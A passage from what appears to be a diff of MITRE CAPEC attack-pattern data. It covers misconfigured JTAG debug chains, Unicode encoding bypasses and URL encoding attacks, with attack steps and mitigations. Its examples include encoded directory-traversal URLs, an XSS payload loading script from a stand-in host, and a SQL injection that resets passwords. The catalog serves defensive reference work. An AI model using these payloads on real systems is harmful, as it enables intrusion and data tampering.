of hardware debug components in order to gain unauthorized access to debug functionality on a chip. This happens when authorization is not checked on a per function basis and is assumed for a chain or group of debug functionality.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Chip designers often include design elements in a chip for debugging and troubleshooting such as:&lt;/xhtml:p&gt; + &lt;xhtml:ul xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt; + &lt;xhtml:li&gt;Various Test Access Ports (TAPs) which allow boundary scan commands to be executed.&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;Scan cells that allow the chip to be used as a "stimulus and response" mechanism for scanning the internal components of a chip.&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;Custom methods to observe the internal components of their chips by placing various tracing hubs within their chip and creating hierarchical or interconnected structures among those hubs.&lt;/xhtml:li&gt; + &lt;/xhtml:ul&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Because devices commonly have multiple chips and debug components, designers will connect debug components and expose them through a single external interface, which is referred to as “chaining”. Logic errors during design or synthesis could misconfigure the chaining of the debug components, which could allow unintended access. TAPs are also commonly referred to as JTAG interfaces.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern43350 + Related_Attack_Pattern_43350 + + + + + + + + + + + + + + 180 + + + + + + + + + + + + #indAttackStepAttackStep43353 + Attack_Step_43353 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Find and scan debug interface] The adversary must first find and scan a debug interface to determine what they are authorized to use and what devices are chained to that interface.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a JTAGulator on a JTAG interface to determine the correct pin configuration, baud rate, and number of devices in the chain</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep43359 + Attack_Step_43359 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Connect to debug interface] The adversary next connects a device to the JTAG interface using the properties found in the explore phase so that they can send commands. The adversary sends some test commands to make sure the connection is working.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Connect a device such as a BusPirate or UM232H to the JTAG interface and connect using pin layout found from the JTAGulator</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep43365 + Attack_Step_43365 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Move along debug chain] Once the adversary has connected to the main TAP, or JTAG interface, they will move along the TAP chain to see what debug interfaces might be available on that chain.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run a command such as “scan_chain” to see what TAPs are available in the chain.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Hardware device has an exposed debug interface</xhtml:div> + + + + + + + + + + + + #indSkillSkill43376 + Skill_43376 + + + + + + + + + + + + + + Ability to identify physical debug interfaces on a device + + + + + + + + + + + + #indSkillSkill43377 + Skill_43377 + + + + + + + + + + + + + + Ability to operate devices to scan and connect to an exposed debug interface + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A device to scan a TAP or JTAG interface, such as a JTAGulator</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A device to communicate on a TAP or JTAG interface, such as a BusPirate</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence43384 + Consequence_43384 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence43388 + Consequence_43388 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence43392 + Consequence_43392 + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implement: Ensure that debug components are properly chained, and their granularity is maintained at different authorization levels</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Perform Post-silicon validation tests at various authorization levels to ensure that debug components are only accessible to authorized users</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;A System-on-Chip (SoC) might give regular users access to the SoC-level TAP, but does not want to give access to all of the internal TAPs (e.g., Core). If any of the internal TAPs were incorrectly chained to the SoC-level TAP, this would grant regular users access to the internal TAPs and allow them to execute commands there.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Suppose there is a hierarchy of TAPs (TAP_A is connected to TAP_B and TAP_C, then TAP_B is connected to TAP_D and TAP_E, then TAP_C is connected to TAP_F and TAP_G, etc.). Architecture mandates that the user have one set of credentials for just accessing TAP_A, another set of credentials for accessing TAP_B and TAP_C, etc. However, if, during implementation, the designer mistakenly implements a daisy-chained TAP where all the TAPs are connected in a single TAP chain without the hierarchical structure, the correct granularity of debug components is not implemented, and the attacker can gain unauthorized access.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 1296 + + + + + + + + + + + + #indReferenceReference43414 + Reference_43414 + + + + + + + + + REF-748 + + + + + + + + + + + + #indReferenceReference43415 + Reference_43415 + + + + + + + + + REF-749 + + + + + + + + + + + + #indReferenceReference43416 + Reference_43416 + + + + + + + + + REF-750 + + + + + + + + + + + + #indContentHistoryContentHistory43418 + Content_History_43418 + + + + + + + + + + + + + + + + #indSubmissionSubmission43419 + Submission_43419 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + + + + + + + + #CAPEC-71 + Using Unicode Encoding to Bypass Validation Logic + + + + + + + + + 71 + + + + + Using Unicode Encoding to Bypass Validation Logic + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker may provide a Unicode string to a system component that is not Unicode aware and use that to circumvent the filter or cause the classifying mechanism to fail to properly understanding the request. That may allow the attacker to slip malicious data past the content filter and/or possibly cause the application to route the request incorrectly.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern43433 + Related_Attack_Pattern_43433 + + + + + + + + + + + + + + 267 + + + + + + + + + + + + #indAttackStepAttackStep43436 + Attack_Step_43436 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey the application for user-controllable inputs] Using a browser or an automated tool, an attacker follows all public links and actions on a web site. They record all the links, the forms, the resources accessed and all other potential entry-points for the web application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a proxy tool to record all user input entry points visited during a manual traversal of the web application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep43444 + Attack_Step_43444 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Probe entry points to locate vulnerabilities] The attacker uses the entry points gathered in the "Explore" phase as a target list and injects various Unicode encoded payloads to determine if an entry point actually represents a vulnerability with insufficient validation logic and to characterize the extent to which the vulnerability can be exploited.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Try to use Unicode encoding of content in Scripts in order to bypass validation routines.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Try to use Unicode encoding of content in HTML in order to bypass validation routines.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Try to use Unicode encoding of content in CSS in order to bypass validation routines.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Filtering is performed on data that has not be properly canonicalized.</xhtml:div> + + + + + + + + + + + + #indSkillSkill43457 + Skill_43457 + + + + + + + + + + + + + + An attacker needs to understand Unicode encodings and have an idea (or be able to find out) what system components may not be Unicode aware. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Unicode encoded data is passed to APIs where it is not expected</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence43463 + Consequence_43463 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence43469 + Consequence_43469 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence43476 + Consequence_43476 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence43480 + Consequence_43480 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure that the system is Unicode aware and can properly process Unicode data. Do not make an assumption that data will be in ASCII.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure that filtering or input validation is applied to canonical data.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Assume all input is malicious. Create an allowlist that defines all valid input to the software system based on the requirements specifications. Input that does not match against the allowlist should not be permitted to enter into the system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;A very common technique for a Unicode attack involves traversing directories looking for interesting files. An example of this idea applied to the Web is&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;http://target.server/some_directory/../../../winnt&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In this case, the attacker is attempting to traverse to a directory that is not supposed to be part of standard Web services. The trick is fairly obvious, so many Web servers and scripts prevent it. However, using alternate encoding tricks, an attacker may be able to get around badly implemented request filters.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In October 2000, an adversary publicly revealed that Microsoft's IIS server suffered from a variation of this problem. In the case of IIS, all the attacker had to do was provide alternate encodings for the dots and/or slashes found in a classic attack. The Unicode translations are&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;. yields C0 AE&lt;xhtml:br&gt;&lt;/xhtml:br&gt;/ yields C0 AF&lt;xhtml:br&gt;&lt;/xhtml:br&gt;\\ yields C1 9C&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Using this conversion, the previously displayed URL can be encoded as&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;http://target.server/some_directory/%C0AE/%C0AE/%C0AE%C0AE/%C0AE%C0AE/winnt&lt;/xhtml:div&gt;See also: CVE-2000-0884</xhtml:div> + + + + + 176 + + + + + 179 + + + + + 180 + + + + + 173 + + + + + 172 + + + + + 184 + + + + + 183 + + + + + 74 + + + + + 20 + + + + + 697 + + + + + 692 + + + + + + + + + + + + #indTaxonomyMappingUnicodeEncoding + Unicode Encoding + + + + + + + + + + + + + + Unicode Encoding + + + + + + + + + + + + #indReferenceReference43519 + Reference_43519 + + + + + + + + + REF-1 + + + + + + + + + + + + #indContentHistoryContentHistory43521 + Content_History_43521 + + + + + + + + + + + + + + + + #indSubmissionSubmission43522 + Submission_43522 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification43527 + Modification_43527 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification43533 + Modification_43533 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References + + + + + + + + + + + + #indModificationModification43539 + Modification_43539 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Execution_Flow, Mitigations + + + + + + + + + + + + #indModificationModification43545 + Modification_43545 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification43551 + Modification_43551 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification43557 + Modification_43557 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #CAPEC-72 + URL Encoding + + + + + + + + + 72 + + + + + URL Encoding + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack targets the encoding of the URL. An adversary can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE).&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An adversary will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc. The adversary could also subvert the meaning of the URL string request by encoding the data being sent to the server through a GET request. For instance an adversary may subvert the meaning of parameters used in a SQL request and sent through the URL string (See Example section).&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern43575 + Related_Attack_Pattern_43575 + + + + + + + + + + + + + + 267 + + + + + + + + + + + + #indAttackStepAttackStep43578 + Attack_Step_43578 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey web application for URLs with parameters] Using a browser, an automated tool or by inspecting the application, an adversary records all URLs that contain parameters.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep43584 + Attack_Step_43584 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Probe URLs to locate vulnerabilities] The adversary uses the URLs gathered in the "Explore" phase as a target list and tests parameters with different encodings of special characters to see how the web application will handle them.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use URL encodings of special characters such as semi-colons, backslashes, or question marks that might be filtered out normally.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Combine the use of URL encodings with other encoding techniques such as the triple dot and escape slashes.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep43591 + Attack_Step_43591 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Inject special characters into URL parameters] Using the information gathered in the "Experiment" phase, the adversary injects special characters into the URL using URL encoding. This can lead to path traversal, cross-site scripting, SQL injection, etc.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The application should accepts and decodes URL input.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The application performs insufficient filtering/canonicalization on the URLs.</xhtml:div> + + + + + + + + + + + + #indSkillSkill43602 + Skill_43602 + + + + + + + + + + + + + + An adversary can try special characters in the URL and bypass the URL validation. + + + + + + + + + + + + #indSkillSkill43603 + Skill_43603 + + + + + + + + + + + + + + The adversary may write a script to defeat the input filtering mechanism. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If the first decoding process has left some invalid or denylisted characters, that may be a sign that the request is malicious.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Traffic filtering with IDS (or proxy) can detect requests with suspicious URLs. IDS may use signature based identification to reveal such URL based attacks.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence43610 + Consequence_43610 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence43614 + Consequence_43614 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Denial of Service</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence43619 + Consequence_43619 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence43626 + Consequence_43626 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Refer to the RFCs to safely decode URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Regular expression can be used to match safe URL patterns. However, that may discard valid URL requests if the regular expression is too restrictive.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">There are tools to scan HTTP requests to the server for valid URL such as URLScan from Microsoft (http://www.microsoft.com/technet/security/tools/urlscan.mspx).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Any security checks should occur after the data has been decoded and validated as correct data format. Do not repeat decoding process, if bad character are left after decoding process, treat the data as suspicious, and fail the validation process.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Assume all input is malicious. Create an allowlist that defines all valid input to the software system based on the requirements specifications. Input that does not match against the allowlist should not be permitted to enter into the system. Test your decoding process against malicious input.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Be aware of the threat of alternative method of data encoding and obfuscation technique such as IP address encoding. (See related guideline section)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">When client input is required from web-based forms, avoid using the "GET" method to submit data, as the method causes the form data to be appended to the URL and is easily manipulated. Instead, use the "POST method whenever possible.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:b xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;URL Encodings in IceCast MP3 Server.&lt;/xhtml:b&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The following type of encoded string has been known traverse directories against the IceCast MP3 server9:&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;http://[targethost]:8000/somefile/%2E%2E/target.mp3&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;or using&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;"/%25%25/" instead of "/../".&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The control character ".." can be used by an adversary to escape the document root.&lt;/xhtml:p&gt;See also: CVE-2001-0784</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:b xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Cross-Site Scripting&lt;/xhtml:b&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="attack"&gt; + &lt;xhtml:b&gt;URL-Encoded attack:&lt;/xhtml:b&gt;http://target/getdata.php?data=%3cscript%20src=%22http%3a%2f%2fwww.badplace.com%2fnasty.js%22%3e%3c%2fscript%3e&lt;/xhtml:div&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="result"&gt; + &lt;xhtml:b&gt;HTML execution:&lt;/xhtml:b&gt;&amp;lt;script src="http://www.badplace.com/nasty.js"&amp;gt;&amp;lt;/script&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;[REF-495]&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:b xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;SQL Injection&lt;/xhtml:b&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt; + &lt;xhtml:b&gt;Original database query in the example file - "login.asp":&lt;/xhtml:b&gt;SQLQuery = "SELECT preferences FROM logintable WHERE userid='" &amp;amp; Request.QueryString("userid") &amp;amp; "' AND password='" &amp;amp; Request.QueryString("password") &amp;amp; "';"&lt;/xhtml:div&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="attack"&gt; + &lt;xhtml:b&gt;URL-encoded attack:&lt;/xhtml:b&gt;http://target/login.asp?userid=bob%27%3b%20update%20logintable%20set%20passwd%3d%270wn3d%27%3b--%00&lt;/xhtml:div&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="result"&gt; + &lt;xhtml:b&gt;Executed database query:&lt;/xhtml:b&gt;SELECT preferences FROM logintable WHERE userid='bob'; update logintable set password='0wn3d';&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;From "URL encoded attacks", by Gunter Ollmann - http://www.cgisecurity.com/lib/URLEmbeddedAttacks.html&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:b xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Combined Encodings CesarFTP&lt;/xhtml:b&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Alexandre Cesari released a freeware FTP server for Windows that fails to provide proper filtering against multiple encoding. The FTP server, CesarFTP, included a Web server component that could be attacked with a combination of the triple-dot and URL encoding attacks.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary could provide a URL that included a string like&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;/...%5C/&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;This is an interesting exploit because it involves an aggregation of several tricks: the escape character, URL encoding, and the triple dot.&lt;/xhtml:p&gt;See also: CVE-2001-1335</xhtml:div> + + + + + 173 + + + + + 177 + + + + + 172 + + + + + 73 + + + + + 74 + + + + + 20 + + + + + + + + + + + + #indReferenceReference43684 + Reference_43684 + + + + + + + + + REF-1 + + + + + + + + + + + + #indReferenceReference43685 + Reference_43685 + + + + + + + + + REF-495 + + + + + + + + + + + + #indReferenceReference43686 + Reference_43686 + + + + + + + + + REF-496 + + + + + + + + + + + + #indReferenceReference43687 + Reference_43687 + + + + + + + + + REF-497 + + + + + + + + + + + + #indReferenceReference43688 + Reference_43688 + + + + + + + + + REF-498 + + + + + + + + + + + + #indReferenceReference43689 + Reference_43689 + + + + + + + + + REF-499 + + + + + + + + 